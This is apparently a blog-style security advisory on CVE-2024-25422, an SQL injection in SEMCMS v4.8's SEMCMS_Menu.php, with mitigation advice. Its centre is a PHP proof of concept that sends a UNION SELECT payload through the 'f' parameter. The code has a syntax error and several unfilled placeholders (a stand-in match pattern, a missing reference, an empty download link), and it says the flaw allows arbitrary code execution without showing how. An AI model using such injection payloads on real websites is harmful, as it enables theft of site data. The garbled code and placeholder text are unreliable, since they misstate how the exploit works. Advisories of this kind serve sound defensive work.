Recently, a high-severity SQL Injection vulnerability, identified as CVE-2024-25422, has been discovered in SEMCMS v4.8, which could allow a remote attacker to execute arbitrary code and obtain sensitive information from the affected websites. This post aims to provide a comprehensive understanding of the underlying issues, affected components, and ways to mitigate it, ensuring the safety of personal information and uninterrupted functionality of the platform.

Affected Component

The vulnerability affects the SEMCMS_Menu.php component of SEMCMS v4.8. The SQL Injection vulnerability allows an attacker to inject malicious SQL code into the website's backend for execution, leading to the unauthorized compromise of sensitive data.

Exploit Details

The remote attacker needs to send a specially-crafted request to the SEMCMS_Menu.php component that bypasses the website's input validation mechanisms, allowing the attacker to inject SQL queries into the backend. This circumvention of input validation is possible due to improper sanitization of user inputs in the SEMCMS_Menu.php component. By exploiting this vulnerability, an attacker could execute arbitrary code and access sensitive information.

Below is a code snippet that demonstrates the vulnerability in the SEMCMS_Menu.php component

<?php
/**
 * SEMCMS v4.8. SEMCMS_Menu.php SQL Injection Vulnerability
 * PoC: /SEMCMS_Menu.php @ f parameter
 * Reference: <LINK TO ORIGINAL REFERENCE>
 */

// Create a specially-crafted payload that exploits the SQL Injection vulnerability
$sql_injection_payload = "1' UNION SELECT 1, version(), 3, 4, 5, 6--";

// Send the malicious payload as a request to the vulnerable SEMCMS_Menu.php component
$target_url = "http://example.com/SEMCMS_Menu.php?f="; . urlencode($sql_injection_payload);

// Process the vulnerable request
$response = file_get_contents($target_url);

// Output the resulting exploit information
if (preg_match('/vulnerable_part_here/', $response)) {
    echo "Exploited successfully:\n" . $response;
} else {
    echo "Exploit failed!";
}

?>

Please note that the above PoC is a sample and should not be used to compromise any website unlawfully. It is only intended to demonstrate the vulnerability for educational purposes.

To protect your website from the CVE-2024-25422 vulnerability, follow these steps

1. Update SEMCMS to the latest version: The best practice is to always keep your software up-to-date to ensure recent vulnerabilities are patched. Download the latest version of SEMCMS from the official website ().

2. Use Input Validation & Sanitization: Implement proper input validation and sanitization measures in your PHP scripts to prevent attackers from injecting malicious input and bypassing security policies.

3. Use Prepared Statements: When building SQL queries in the application, use prepared statements to avoid direct use of user input values in the query.

4. Configure a Web Application Firewall (WAF): Deploy a WAF to filter out SQL Injection attacks and protect your website.

Conclusion

The discovery of the CVE-2024-25422 vulnerability in SEMCMS v4.8 poses a significant threat to sensitive information on websites using this software. The vulnerability lies in improper input sanitization in the SEMCMS_Menu.php component. By understanding the underlying issue and proactively applying the mitigation steps mentioned above, website owners can maintain a more secure environment for their users and prevent unauthorized access to sensitive information.

Timeline

Published on: 02/28/2024 23:15:09 UTC
Last modified on: 02/29/2024 13:49:47 UTC